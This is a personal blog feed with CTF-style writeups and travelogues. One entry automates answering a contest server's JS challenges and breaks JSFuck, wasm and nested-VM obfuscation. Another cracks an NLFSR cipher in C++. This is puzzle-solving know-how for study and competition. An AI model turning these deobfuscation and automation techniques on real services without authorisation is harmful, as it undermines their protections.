mcfx's blog

mcfx's blog 个人博客，（曾经）基本只放题解，现在随便写点啥了吧（ 2021-03-15T18:11:00+08:00 Typecho /feed/atom/ <![CDATA[腾讯极客技术挑战赛第三期码上种树 Writeup]]> /archives/293/ 2021-03-15T18:11:00+08:00 2021-03-15T18:11:00+08:00 admin

## 批量种树 & 前两题

首先 F12 一下，看看请求，可以发现先 pull 了一个 js，然后把 js 运行的结果返回上去，就成功种下一棵树。那么可以写个脚本快速种树：

```python
import requests

def pull():
    return requests.get('http://159.75.70.9:8081/pull?u=xxx').json()

def push(t, a):
    return requests.get('http://159.75.70.9:8081/push', params={'t': t, 'a': a}).json()

def tree():
    q = pull()
    print(q)
    c = q['c']
    t = q['t']
    if c == 'A274075A':
        a = q['a'][0]
    elif c == 'A3C2EA99':
        a = q['a'][0]
        a = a * a + a
    else:
        assert False
    r = push(t, a)
    print(r)

while True:
    tree()
```

看到服务器的 ip 在广州，于是把脚本放在那边的 vps 上跑，就种的比较快。

前两题非常简单，就不多说了。

## 第三题（100000）

题目中有用的部分如下：

```js
window[g('0x0')] = function (h) {
    var i = 0x30d3f;
    for (var j = 0x30d3f; j > 0x0; j--) {
        var k = 0x0;
        for (var l = 0x0; l < j; l++) {
            k += h['a'][0x0];
        }
        k % h['a'][0x2] == h['a'][0x1] && j < i && (i = j);
    }
    return i;
};
```

只需要优化内层循环就可以有足够的速度了。（下面的代码需要加在前面的脚本的后面）

```python
    elif c == 'A5473788':
        a = q['a']
        i = 0x30d3f
        for j in range(0x30d3f, -1, -1):
            k = a[0] * j
            if k % a[2] == a[1] and j < i:
                i = j
        a = i
```

## 第四题（250000）

一个基本只包含 `+()![]` 的 js。虽然之前看到过类似的混淆，但是没搜到直接能用的反混淆工具。

观察发现这里面大量代码只是为了生成常量，比如

```js
(!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+!+[]]])[+!+[] + [+[]]]
```

只是为了生成 `o`。手动发现并替换掉这些常量后，代码就可读了不少：

```js
window.A593C8B8=async(_)=>(($,_,__,___,____)=>{let _____=function*(){while([])yield[(_,__)=>_+__,(_,__)=>_-__,(_,__)=>_*__][++__%(3)]['bind'](0,___,____)}();let ______=function(_____,______,_______){____=_____;___=______['next']()['value']();__==_['a']['length']&&_______(-___)};return new Promise(__=>_['a']['for'+([]['filter']['constructor']('return/0/')()['constructor']+[])['12']+'a'+([]['filter']+[])[3]+'h'](___=>$['setTimeout'](____=>______(___,_____,__),___)))})(window,_,+[],+[],+[])
```

格式化并替换掉变量名：

```js
window.A593C8B8 = async (a) => {
    var b = 0,
        c = 0,
        d = 0;
    let e = function* () {
        while ([]) yield [(a, b) => a + b, (a, b) => a - b, (a, b) => a * b][++b % (3)]['bind'](0, c, d)
    }();
    let f = function (e, f, g) {
        d = e;
        c = f['next']()['value']();
        console.log(d + ' ' + c);
        b == a['a']['length'] && g(-c)
    };
    return new Promise(b => a['a']['forEach'](c => setTimeout(d => f(c, e, b), c)))
}
```

可以发现是按照 a 数组的值 setTimeout 对应时间，再做加减乘的运算。setTimeout 的部分可以用排序代替。

```python
def q4(s):
    s.sort()
    c = 0
    d = 0
    v = [lambda x, y:x + y, lambda x, y:x - y, lambda x, y:x * y]
    for i in range(len(s)):
        d = s[i]
        c = v[(i + 1) % 3](c, d)
    return -c
```

## 第五题（500000）

js 加载了一段 wasm，并把 Math 传了进去。使用 wasm2c 可以反编译得到 C 代码：

```c
extern int ffimport$0(int local0, int local1); /* import */
extern int ffimport$1(int local0, int local1); /* import */
int f0(int local0, int local1) {
	// Parsed WASM function locals:
	int local2; 
	int local3; 
	int local4; 
	int local5; 
	int local6; 
	int local7; 
	local2 = local0;
	if (local4 = local1 - 1) {
	while (1) { // Loop name: 'label$2'
	local3 = local2;
	local6 = 0;
	local7 = 10;
	while (1) { // Loop name: 'label$3'
	local5 = local3 % 10;
	local3 = local3 / 10;
	local6 = 	ffimport$1(local5, local6);
;
	local7 = 	ffimport$0(local5, local7);
;
	if (local3 > 0) break;
	} // End of loop 'label$3'
	local2 = local2 + local6 * local7;
	if (	local4 = local4 - 1;
) break;
	} // End of loop 'label$2'

} // <No else block>
local2}
```

可以看出，程序把 local2 的每一位用两个外部函数（ffimport）运算，然后乘积加回到 local2 上，重复 local0 这么多次。

而直接查看 wasm 就可以得知这两个外部函数分别是 min 和 max：

![image-20210315201323559](https://cdn.mcfx.work/typora-tmp/image-20210315201323559.png)

这样就可以用 python 实现了：

```python
def f(x, y):
    for i in range(y - 1):
        s = list(map(int, str(x)))
        x += max(s) * min(s)
    return x
```

但是这个实现不够快。其实要加快也很简单，可以发现 min(s) 为 0 时就可以不继续算了，加上这个判断就可以很快得出结果。

## 第六题（1000000）

不难看出是一个栈式虚拟机，照着代码抄一遍可以写一个反汇编器出来。（代码可以在 https://github.com/mcfx0/qq_geek_tree 找到，这里就不放了）

```
0    resize stack 3
2    or stack[2], []
4    push ""
5    concat s1, char(119) # w
7    concat s1, char(105) # i
9    concat s1, char(110) # n
11   concat s1, char(100) # d
13   concat s1, char(111) # o
15   concat s1, char(119) # w
17   pop 1; push [window, s1]
18   push ""
19   concat s1, char(67) # C
21   concat s1, char(65) # A
23   concat s1, char(49) # 1
25   concat s1, char(56) # 8
27   concat s1, char(48) # 0
29   concat s1, char(55) # 7
31   concat s1, char(69) # E
33   concat s1, char(66) # B
```

反汇编之后，发现有大量的代码其实是在构造字符串，于是把这部分也处理成一条 push 字符串的指令。

```
125  pop 1; push s1
126  push stack[s1[0]][0]
138  push "BigInt"
140  pop 1; push [window, s1]
154  push "1661594"
156  pop 1; push s1[0][s1[1]](s1[0], stack[-1:])
158  pop 1; mul s2, s1
159  mov stack[s2[0]][0], s1
160  swap stack[-2], s1
162  push [6]
164  pop 1; push s1
165  push stack[s1[0]][0]
177  push "BigInt"
179  pop 1; push [window, s1]
211  push "1125899906842597"
213  pop 1; push s1[0][s1[1]](s1[0], stack[-1:])
215  mod s2, s1
216  mov stack[s2[0]][0], s1
217  swap stack[-2], s1
```

往后翻，看到了 BigInt 和 mod 操作，于是猜想可能是对输入做若干操作然后模这个大数。在浏览器中运行一遍函数，传 12 个 0 进去，可以得到结果为 6，这像是 6 个 1 相加，而操作应该是乘方。改成 1 和 11 个 0，结果为 1661599，这就比较像是 6 个乘积之和了。

继续实验可以发现，这个代码内置了 12 个数 $b_0,\dots, b_{11}$，而答案是 $\sum_{i=0}^5 b_{2i}^{a^{2i}}b_{2i+1}^{a_{2i+1}}\bmod 1125899906842597$。

于是用快速幂（比如 python 的 pow）来完成这个操作即可。

### 小插曲（1010000）

脚本跑到 1010000 时，发现下发的 js 变了。下载下来查看，发现还是虚拟机，但是指令编码变了，内置的常数也变了。那么我们应该需要一个办法来快速找到这些常数。

这个虚拟机构造字符串的方法是 $[op,char_1,op,char_2,\dots,op,char_n]$，其中 op 是指令编号，$char_i$ 是字符串的第 i 个字符。由于这些 BigInt 也是如此构造的，可以发现这些 $char_i$ 全是数字，而利用这个特点可以高效地找到所需的常数。具体可以看下面的代码。

```python
def find_q6_nums(s):
    def isnum(x):
        return x >= 48 and x <= 57
    i = 1
    res = {}
    while i < len(s):
        if not isnum(s[i]):
            i += 1
            continue
        j = i
        a = set()
        b = []
        while j < len(s) and isnum(s[j]):
            if len(a | set([s[j - 1]])) > 1:
                break
            a.add(s[j - 1])
            b.append(s[j])
            j += 2
        if len(b) < 5:
            i += 1
            continue
        x = list(a)[0]
        y = int(''.join(map(chr, b)))
        if x not in res:
            res[x] = []
        res[x].append(y)
        i = j
    for x in res:
        if len(res[x]) >= 10:
            t = res[x]
            r2 = []
            for i in range(len(t)):
                if t[i] > 10**10:
                    mod = t[i]
                    if t[i - 1] <= 10**7:
                        r2.append(t[i - 1])
            return r2, mod
    return None
```

## 第七题（2000000）

拿到题目，发现又是个栈式虚拟机。但是这次的指令多了不少。反汇编器的代码也放在 https://github.com/mcfx0/qq_geek_tree 。

这次的字符串拼接等指令要更恶心一点，所以反汇编器里面还需要对栈上的状态做少量模拟，这样更方便人查看。

```
21980  push ""                          ; {25} '' [[], 0] []
21981  push 8                           ; {26} 8 '' [[], 0]
21983  concat s2, chr(s1 + 59)          ; {26} 8 'C' [[], 0]
21985  mov s1, 62                       ; {26} 62 'C' [[], 0]
21987  push 26                          ; {27} 26 62 'C'
21989  pop 1: sub s2, s1                ; {26} 36 'C' [[], 0]
21990  concat s2, chr(s1 + 67)          ; {26} 36 'Cg' [[], 0]
21992  mov s1, 53                       ; {26} 53 'Cg' [[], 0]
21994  push 2                           ; {27} 2 53 'Cg'
21996  pop 1: sub s2, s1                ; {26} 51 'Cg' [[], 0]
21997  concat s2, chr(s1 + 60)          ; {26} 51 'Cgo' [[], 0]
21999  mov s1, 38                       ; {26} 38 'Cgo' [[], 0]
22001  push 30                          ; {27} 30 38 'Cgo'
22003  pop 1: add s2, s1                ; {26} 68 'Cgo' [[], 0]
22004  concat s2, chr(s1 + 40)          ; {26} 68 'Cgol' [[], 0]
22006  mov s1, 37                       ; {26} 37 'Cgol' [[], 0]
22008  push 17                          ; {27} 17 37 'Cgol'
22010  pop 1: add s2, s1                ; {26} 54 'Cgol' [[], 0]
22011  concat s2, chr(s1 + 11)          ; {26} 54 'CgolA' [[], 0]
22013  mov s1, 57                       ; {26} 57 'CgolA' [[], 0]
22015  push 31                          ; {27} 31 57 'CgolA'
22017  pop 1: sub s2, s1                ; {26} 26 'CgolA' [[], 0]
22018  concat s2, chr(s1 + 80)          ; {26} 26 'CgolAj' [[], 0]
22020  mov s1, 19                       ; {26} 19 'CgolAj' [[], 0]
22022  push 47                          ; {27} 47 19 'CgolAj'
22024  pop 1: add s2, s1                ; {26} 66 'CgolAj' [[], 0]
22025  concat s2, chr(s1 + 45)          ; {26} 66 'CgolAjo' [[], 0]
22027  mov s1, 46                       ; {26} 46 'CgolAjo' [[], 0]
22029  push 17                          ; {27} 17 46 'CgolAjo'
```

反汇编出来之后，看到他一开始又在拼接 base64 字符串，盲猜又是个虚拟机套娃。

对反汇编器做了若干改进（上面 github 放的已经是最终版本了），可以把 base64 字符串和那个巨大的数组给提出来。由于这里和之前 js 比较相似，盲猜是同一个虚拟机，只是指令编码有所区别，那么我们需要快速找到每个指令的编码是多少。

受到上一题的影响，我怕到 2010000 或者 2020000 时又来一套换编码的虚拟机，我决定用程序来自动分析每个指令是在哪个函数中实现的。由于这个虚拟机基本只是把 js 翻译了一遍，每个函数还是有很强的特征，比如每个算术指令的函数中，一定出现了两个 `length`，一个 `pop`，和一个对应操作的指令。不过程序中还有很多花指令，这些也需要想办法剔除掉。这部分代码也可以在 github 中查看。

把这个套娃的虚拟机解出来之后，好家伙，他也是个套娃。不过由于之前写了通用的处理方法，只需要再调用一遍就能再次解开。

最内层的虚拟机有一个挺长的主函数，应该就是题目需要的函数了。一开始，为了图方便，我把这个函数的字节码转成可以在最外层虚拟机运行的，但是丢进去发现跑不起来。又试了把第二层虚拟机转成最外层等各种方法，最终也还是没能跑起来。

仔细研究发现，这个函数有 7 个参数，其中第一个是题目，而后面 6 个是外面两层传进去的一些参数（其实是 6 个函数），这就导致需要找到这些参数才能解出题目。通过把内层虚拟机拿到外层跑，以及在合适的位置输出整个栈，可以拿到这些函数。不过试图搞三个虚拟机来分别跑这三份代码的尝试失败了。总之只能先读代码了。手动反编译得到如下结果：

```
arg3, func4 ~ func9

a_tmp_15=a_arr.slice(0)
cnt_16=func5()
var_17=0
if(a.length<16)goto label_360
label_394:
if(cnt_16!=0)goto label_415
if(cnt_16<0)goto label_719
push String.fromCharCode(102) // 'f'
'f'+'l'
'fl' + func7(a_tmp_15, var_17)
'fl'+func7(a_tmp_15, var_17)+'{'
'fl'+func7(a_tmp_15, var_17)+'{'+func8(input['t'], cnt_16)
'fl'+func7(a_tmp_15, var_17)+'{'+func8(input['t'], cnt_16)+func9(a_tmp_15, var_17)
return

label_719: infinite loop

label_415:
if(func4(cnt_16)!=cnt_16)goto label_451
i_18=0
label_496:
if(i_18<a.length)goto label_589
cnt_16=func5()
goto label_394

label_589:
var_17=func6(cnt_16^a_tmp_15[i_18],var_17)
i_18++
goto label_496

label_451: infinite loop

label_360: infinite loop
```

由于可以拿到这些函数的 js 对象，经过实验可以发现，其中 func4(x) 大概是输出 x-1，func5 每次调用会 -1，func6 是模 $2^{32}$ 意义下的加法，func7 对于题目的 a 只会输出 `ag`，func8(x,y) 是 x.repeat(y+1)，func9 对于题目的 a 只会输出 `}`。

于是最后的答案便是 flag{题目的 t}。

另外多说一句，label_415 处的 `if(func4(cnt_16)!=cnt_16)goto label_451` 似乎一定会返回 true，然后就跳到 label_451 去死循环了，这也许就是硬跑跑不出来的原因？。。

## 第八题（2000001）

代码很简单：

```js
window.C37CD28B=function({a}){let max=1n;let sum=0n;for(let i=0;i<a[0];i++)max*=10n;loop:for(let i=2n;i<max;i++){for(let j=2n;j<i;j++){if(i%j==0n)continue loop;}sum^=i;}return sum+"";}
```

是求所有 $\le 10^{13}$ 的质数的异或和。

使用 fast prime sieve 之类的关键词可以搜索到 [primesieve](https://github.com/kimwalisch/primesieve) 这个项目，而他的示例中给出了一个多线程求和的代码（https://github.com/kimwalisch/primesieve#libprimesieve-multi-threading）。改成异或就可以了。

]]> <![CDATA[强网杯 2020 游记]]> /archives/291/ 2020-11-08T08:49:58+08:00 2020-11-08T08:49:58+08:00 admin

# Day 0
这个比赛在周中举办就非常不友好，有若干事情要忙，傍晚才能出发。然后因为出发的略晚没赶上火车，在路上改签才赶上（然后这班晚 15 分钟出发的车晚一个小时到）（为啥要改签只晚 15 分钟出发的车呢？因为没有更晚的动车 or 高铁了）。

到酒店后，看了会番，然后睡觉。

# Day 1
早饭还不错。

到了现场，发现这比赛是专门新修了一栋楼。然后酒店到这栋楼的路上，两边全是网络安全宣传周的各种标语。赛场所在的房间也特别酷炫，颇有一种《亲爱的，热爱的》里面的感觉了。

![](https://cdn.mcfx.work/blog/20201108-qwb/1.png)
此图是队友拍摄，由于没有保存，只能去微信缓存截图，所以清晰度较低。

比赛有四道 AD 题和若干 RW 题。RW 题大概就是对真实世界里的东西进行 pwn，然后上台去演示 exp。AD 题和 DEFCON 的模式差不多，是提交 patch 的形式。

我粗略的看了看这些 RW，发现可能也就一道比较可做，不过也打算在晚上再做，现在做 AD 比较划算。

第一道 AD（没记错的话）是个简单的 pwn，不过我也还是不太会，只能帮着看看。

（后来具体干了啥也不太记得清了，总之第一天基本也没干什么，就随便看了看，有的题倒是花了不少功夫看，但是也没看出什么东西）

第一天最后，放了一道 sort。我看了看，发现非常适合我来做。

题目给了一个 binary，内置了一个虚拟机，然后内置了一段代码，我只能 patch 这段代码。执行的时候，他会把内置的代码和别人发来的代码一起跑，然后需要做到的功能是排序一个长为 100 的数组。谁用的指令数少就赢了。

如果我去打别人，我赢了，我就有攻击分。如果我比所有别人打我的都厉害，我就有防御分。这其实是用 AD 的形式搞了个 KoH。

对于这道题，显然可以有若干种排序方法，并且我感觉都不难实现。

回到酒店，吃过饭，我先逆出了虚拟机的 opcode，然后写了个汇编器。

然后就是写若干种排序了。由于以为这题会给流量，为了防止别人抄做法，我特意写了多种所需时间不同的算法，然后打算用刚好比别人优一点的做法去打。具体来说，我写了插入排序、冒泡排序、快排等多种算法，并且在里面还加入了一些劣化。

快排里面，我发现长度为 2 或 3 的时候很慢，于是也加了特判，快速处理。

写完这些，也已经三点过快四点了，于是我去睡觉了。

# Day 2
第二天，经过询问主办方，我得知其实不会给流量，那么可以直接用最优的算法打了。

比赛正式开始了，我打出去却发现，这个优化的快排只能打过 30 个队，还有一个队比我优。

于是我开始了费劲的优化。我把长度为 4 到 9 都加上了特判（暴搜决策树，或者暴搜快排决策树，或者暴搜快排状态，总之可以比裸循环的快排快不少），结果最后还是只能优化 20% 左右，但是那个队比我快 30%。

在某一次上厕所时，我突然想到，可以基数排序（桶排序）。回来之后立刻实现了一个，发现确实能行，而且很快。于是搞了个桶排序，终于反超了。

最后，我进一步优化了桶排序的实现，然后适当减小了桶的个数，然后把每个桶內部改成之前的优化冒泡排序，达到了非常小的指令数（其实也就是比那个队再快 20% 的水平）。这个第一名一直保持到了最后。

剩下的时间，帮着看了看别的题，不过也没啥实际贡献吧。。

晚上是个莫名其妙的活动，“高新之夜”，实际上就是一群人蹦迪。

![](https://cdn.mcfx.work/blog/20201108-qwb/2.jpg)

我当时只是听说有免费酒水，于是就去了，不过虽然没蹭到酒水，倒是面到了几个群友。比如青少年组的 hasu 和李大哥。（当然还有某个北大队的队员）

顺便我还在这个网络安全科技馆中拍到了不少好图：

![](https://cdn.mcfx.work/blog/20201108-qwb/3.jpg)
真·网络安全演练

![](https://cdn.mcfx.work/blog/20201108-qwb/4.jpg)
共 筑 网 络 长城

# Day 3
看前三名决斗，以及颁奖。

这个决斗过程其实没啥好看的，因为我们也接触不到题。

颁奖的话，主持人念了个比较怪的强网宣言：

![](https://cdn.mcfx.work/blog/20201108-qwb/5fix.jpg)

然后颁完奖，回学校。顺便晚上去和光光和 O 等人去桃李地下吃了顿。

]]> <![CDATA[DEFCON CTF 2020 游（线上）记]]> /archives/288/ 2020-07-03T17:03:00+08:00 2020-07-03T17:03:00+08:00 admin

本次 DEFCON CTF，因为疫情原因，便进入了“SAFE MODE”，也就是线上举办。而为了“照顾”到所有地区的参赛者，他们也没有按照正常的时间来办，而是把整个比赛分为了四个“shift”，每个 shift 长为 8 小时，每两个 shift 之间间隔 9 小时，另外在每个 shift 开始之前，会有 1 小时的准备时间。第一个 shift 从北京时间 8 月 7 日晚 8 点开始。稍有常识的读者都能算出，主办方照顾到了所有人，让大家都有两个 shift 在凌晨。

本文为了方便描述，也使用 shift 1~4（准备时间也算入下一个 shift 中），而非之前一些文章中的 DayX，来指代大致时间。另外，为了方便描述 shift 之间，以及比赛开始前的时间，可能也会用到 shift X.5 的描述。

# shift 0.5
比赛前几天去了上海玩，这一天去逛 bw。不过由于配网的锅也丢给了我，所以就在 bw 现场配网。一边看表演一边敲命令，实在是有点草。

主办方赛前称，离他们的基础设施最近的 AWS 区域是 us-west，然而 AWS 没有叫这个的区（

于是我在 us-west-1 和 us-west-2 各开了一台，然后测试用教育网中转 openvpn。（虽然主办方给的 wireguard，但是好像他只让一个客户端连，于是我就用 openvpn 给大家中转了）

配到能用之后，用 iperf3 测了测速，能有 150Mbps，基本还行。

# shift 1
开场时，在 us-west-1 ping 主办方的 vpn endpoint，延迟高达 1ms，看来主办方的全套设施应该也都在 AWS 上吧。

这个 shift 的大多数时间都在路上跑，于是没怎么看题。

中途，刘大爷说下载文件只能 1Mpbs，于是赶紧测试了一下，发现确实如此。把 openvpn 改成 tcp 模式之后也只有 20Mpbs 左右，调了一些别的参数也没啥用，只好将就用。。

# shift 1.5
赶去和大家回合。

# shift 2
开场时，看了看 21 点和之前的某道 pwn，然后发现都不会。

不久之后，放了一道新题，pinboooll。这题给了一个 binary，里面有许多条件判断，每个条件判断通过了可以有一些加分。这些条件判断看起来确实颇有几分三维弹球的味道——有一个状态变量，类似于弹球在整个界面中的位置，当比较靠左时可以用左边的挡板弹，靠右时用右边的挡板弹；另外还有一些时候会触发任务，然后拿到一些“Jackpot”，这些 Jackpot 自然也有额外加分。

binary 最开始会要求给出一个文件名，当这个文件中的不同字符数有 5 个，就成功发射弹球。弹球的初始状态是随机的，不过种子是确定的。

但是，初始状态下，所有操作都执行不了，在研究了好久之后，我发现可以用程序不识别的操作，来避免退出，并获得每轮的加分。

继续逆了两个小时，有人发现可以用 .. 当那个文件名，不在一开始就发射。之后可以操纵一下随机数，跳出这个难受的状态。

跳出这个状态之后，（这篇文章本来是在 8 月份开始写的，但是写到这时咕了，11 月才继续写，很多细节记不清了，接下来的部分大概会简略很多）能做的事情就很多了，但是得分还是很困难。

我尝试着手动构造输入，这持续了整个 shift 的后半段，而排名一直时上时下，最后这个 shift 结束了。

# shift 2.5
继续研究这个 pinboooll。我打算写个脚本，去自动枚举得哪些分，然后构造满足条件的输入。我和大雄合作，他搞算得分的部分，我搞构造输入的部分。肝到凌晨几点时，写的差不多了。但是这时我们发现，这一坨策略好像用处并不是很大。

这个 pinboooll 里面，有一个 secret，猜中就可以得 5000 分（可能记错了，说不定是 2000），还能重复得分，也就是可以直接猜几十次，直到输入长度限制为止。leak 出这个 secret 的脚本倒是之前就写好了。但是我在写构造输入脚本的时候，是按照这个 secret 只能用一次处理的，没想到可以搞这么多分。于是这一堆可能就算是白写了（其实也没完全白写）。

最后，这个输入可以得十万多分，这是什么概念呢，shift 2 结束时最高分还只有三千多。

# shift 3
跑了 leak secret 的脚本，然后得了十万多分，这题暂时第一。实在肝不下去了，睡觉。

一觉醒来，shift 3 已经过去了一大半。此时 pinboooll 的排行榜上，最高分已经二十多万还是三十多万。继续搞了搞，没发现有啥能搞的，正巧此时有一道新题 sloootmachine，我就去凑热闹了。

这一题是一个白盒 aes，具体来说，就是选手互相写一个 aes 加密器，然后你要找出别人的加密器的 key。这题主要是刘大爷在做，我只是去划水，并且直到最后也没有成功输出。（不过我这里写的代码倒是在后面 THUCTF 出题和 TCTF 决赛用到了，这也是另外两个故事了）

# shift 3.5
吃饭，划水（sloootmachine）。

# shift 4
划水（sloootmachine）。

不过没多久，这题就下了，于是去看 ropshipai。这题是去年 ropship 的加强版，这次需要写个神经网络来搞。但是他程序有明显的栈溢出。

之前看到这道题，并没有什么好的想法，这时再来看，我就研究这个栈溢出。虽然明显溢出了，但是实际上并不好利用，我搞了好久终于可以往栈上放足够长的数据并且跳过去。

rop 这部分是 M4x 在搞，然后他也调了好久，最后发现，这个程序有 seccomp，实际啥都干不了。

比赛结束，gg。

# shift 4.5
回酒店睡觉。

一觉醒来，已经两点过了，酒店都来催退房了。然后本来订的晚上的机票还 tm 被取消了，航空公司给换了个第二天的。

看到时间勉强够，买了个 3 点过的火车票，赶上了。

颓了一下午，回到了家。

]]> <![CDATA[0CTF/TCTF 2020 Quals Writeup]]> /archives/287/ 2020-07-03T03:33:03+08:00 2020-07-03T03:33:03+08:00 admin

]]> <![CDATA[“第五空间”智能安全大赛 Writeup]]> /archives/285/ 2020-06-29T16:25:00+08:00 2020-06-29T16:25:00+08:00 admin

]]> <![CDATA[De1CTF 2020 Writeup]]> /archives/284/ 2020-05-06T08:26:00+08:00 2020-05-06T08:26:00+08:00 admin

# Crypto

## NLFSR

可以发现输出是1时，ao是1的概率有75%。可以枚举前19个ao，解方程得到a的初始值，再枚举c和d的初始值，可以得到b的若干状态，最后解方程得到b，再检验。

```cpp
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))

#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;

struct bits
{
	uint s[19];
	void lfsr(uint m)
	{
		uint t=0;
		fo0(i,19)if(m>>i&1)t^=s[i];
		fd0(i,18)s[i+1]=s[i];
		s[0]=t;
	}
	void init()
	{
		fo0(i,19)s[i]=1<<i;
	}
};

uint c,f[19],v[19];

void clear()
{
	c=0;
	fo0(i,19)f[i]=v[i]=0;
}

int addc(uint a,uint b)
{
	fo0(i,19)if(a>>i&1)
	{
		if(!f[i])
		{
			f[i]=a;
			v[i]=b;
			c++;
			return c==19?1:0;
		}
		a^=f[i];
		b^=v[i];
	}
	return b?2:0;
}

uint sol()
{
	fo0(i,19)fo(j,i+1,18)if(f[i]>>j&1)
	{
		f[i]^=f[j];
		v[i]^=v[j];
	}
	uint r=0;
	fo0(i,19)r+=v[i]<<i;
	return r;
}

template<const uint m>void lfsr(uint&r)
{
	r=(r<<1)^__builtin_parity(r&m);
}

char data[1<<20];

int main()
{
	freopen("data","r",stdin);
	fo0(i,1<<20)in,data[i];
	fo0(i,1<<20)data[i]-=48;
	
	fo0(adb,19)fo0(ad,1<<19)if(__builtin_popcount(ad)==adb)
	{
		bits t;t.init();clear();
		fo0(j,19)
		{
			t.lfsr(0x505a1);
			addc(t.s[0],(ad>>j&1)^data[j]);
		}
		uint ia=sol();
		if(!(ia>>18))continue;
		fo(ic,1<<12,(1<<13)-1)fo(id,1<<5,(1<<6)-1)
		{
			bool flag=1;
			uint a=ia,c=ic,d=id;
			for(int u=0;u<10;u++)
			{
				lfsr<0x505a1>(a);
				lfsr<0x1f02>(c);
				lfsr<0x31>(d);
				if(!((a^c^d)&1)&&(((c^d)&1)^data[u]))
				{
					flag=0;
					break;
				}
			}
			if(!flag)continue;
			a=ia,c=ic,d=id;
			t.init();clear();
			for(int u=0;;u++)
			{
				lfsr<0x505a1>(a);
				lfsr<0x1f02>(c);
				lfsr<0x31>(d);
				t.lfsr(0x40f3f);
				uint oa=a&1,oc=c&1,od=d&1;
				if(oa^oc^od)
				{
					uint req=oc^od^data[u];
					if(addc(t.s[0],req))break;
				}
				else
				{
					if(oc^od^data[u])
					{
						flag=0;
						break;
					}
				}
			}
			if(!flag)continue;
			uint ib=sol(),b=ib;
			a=ia,c=ic,d=id;
			fo0(u,100)
			{
				lfsr<0x505a1>(a);
				lfsr<0x40f3f>(b);
				lfsr<0x1f02>(c);
				lfsr<0x31>(d);
				uint cur=((a&b)^(b&c)^(b&d)^c^d)&1;
				if(cur!=data[u])
				{
					flag=0;
					break;
				}
			}
			if(flag)
			{
				out,"possible solution:",ia,' ',ib,' ',ic,' ',id,'\n';
				return 0;
			}
		}
	}
}
```

## Mini Purε Plus

View English edition at https://oj.ci/blogof/mcfx/blog/30

